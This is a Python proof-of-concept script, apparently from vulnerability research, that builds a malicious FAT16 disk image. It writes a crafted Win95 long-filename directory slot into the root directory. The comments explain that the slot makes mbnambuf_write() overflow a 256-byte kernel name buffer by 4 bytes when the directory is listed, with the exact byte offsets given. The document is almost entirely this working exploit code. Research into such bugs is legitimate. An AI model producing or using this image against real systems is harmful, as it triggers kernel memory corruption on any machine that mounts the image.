#!/usr/bin/env python3
# DF-0795 image crafter: produce a FAT16 image with a single malicious Win95
# long-name slot at weCnt=0x54 (id=19), all 13 UTF-16 chars non-null, so that
# mbnambuf_write() overflows nb_buf[256] by 4 bytes (ASCII variant) at slot
# &nb_buf[19*13] = &nb_buf[247].
#
# Layout produced:
#   sector 0: reserved (boot sector / BPB) - already correct from newfs_msdos
#   sector 1..16: FAT #1
#   sector 17..32: FAT #2
#   sector 33+: root directory (512 entries = 16 sectors for FAT16 here)
#
# We patch a Win95 LFN slot at the very first root-dir entry (sector 33,
# offset 33*512 = 16896) so msdosfs_readdir() encounters it on `ls /`.
#
# The LFN slot fields (struct winentry, 32 bytes):
#   off 0   : weCnt        = 0x54 (WIN_LAST|20)   -> id = 19
#   off 1   : wePart1[10]  = 5 UTF-16 LE chars, all non-null, all ASCII
#   off 11  : weAttributes = ATTR_WIN95 = 0x0f
#   off 12  : weReserved1  = 0
#   off 13  : weChksum     = 0 (irrelevant; we never get to the 8.3 entry)
#   off 14  : wePart2[12]  = 6 UTF-16 LE chars
#   off 26  : weReserved2  = 0
#   off 28  : wePart3[4]   = 2 UTF-16 LE chars
#
# Total: 5+6+2 = 13 UTF-16 chars, all ASCII -> win2unixchr returns 1 byte
# each -> count = strlen(name) = 13 -> memcpy(&nb_buf[247], name, 13) writes
# bytes nb_buf[247..259]; bytes nb_buf[256..259] = 4-byte overflow.

import struct, sys, os

def patch(img_path):
    # 13 ASCII chars (chosen to be visible / non-null), padded to UTF-16 LE.
    chars = b"ABCDEFGHIJKLM"[:13]  # exactly 13 bytes
    assert len(chars) == 13
    utf16 = bytes(b for c in chars for b in (c, 0))  # 26 bytes UTF-16 LE
    wePart1 = utf16[0:10]    # 5 chars
    wePart2 = utf16[10:22]   # 6 chars
    wePart3 = utf16[22:26]   # 2 chars

    weCnt = 0x54             # WIN_LAST(0x40) | 20
    attr  = 0x0f             # ATTR_WIN95
    chksum = 0x42            # arbitrary; we never validate against 8.3 entry

    slot = bytes([weCnt]) + wePart1 + bytes([attr, 0, chksum]) + wePart2 + \
           struct.pack("<H", 0) + wePart3
    assert len(slot) == 32, len(slot)

    with open(img_path, "r+b") as f:
        # Root dir starts at sector 33 in this image (ResSectors=1,
        # 2 FATs * 16 sectors = 32). Offset = 33 * 512 = 16896.
        # Be safe: scan for first 0x00 slot in root dir area; otherwise
        # just write at sector 33.
        # We will simply write at 16896 (the first root dir entry), and
        # also leave the next entries zero (SLOT_EMPTY) so the loop exits
        # after our slot.
        f.seek(16896)
        existing = f.read(32)
        f.seek(16896)
        f.write(slot)
        # follow with SLOT_EMPTY (0x00) to terminate the directory
        f.seek(16896 + 32)
        f.write(b"\x00" * 32)
    print("patched %r with weCnt=0x54 LFN slot (id=19, 13 ASCII chars)" % img_path)

if __name__ == "__main__":
    img = sys.argv[1] if len(sys.argv) > 1 else "evil.img"
    patch(img)
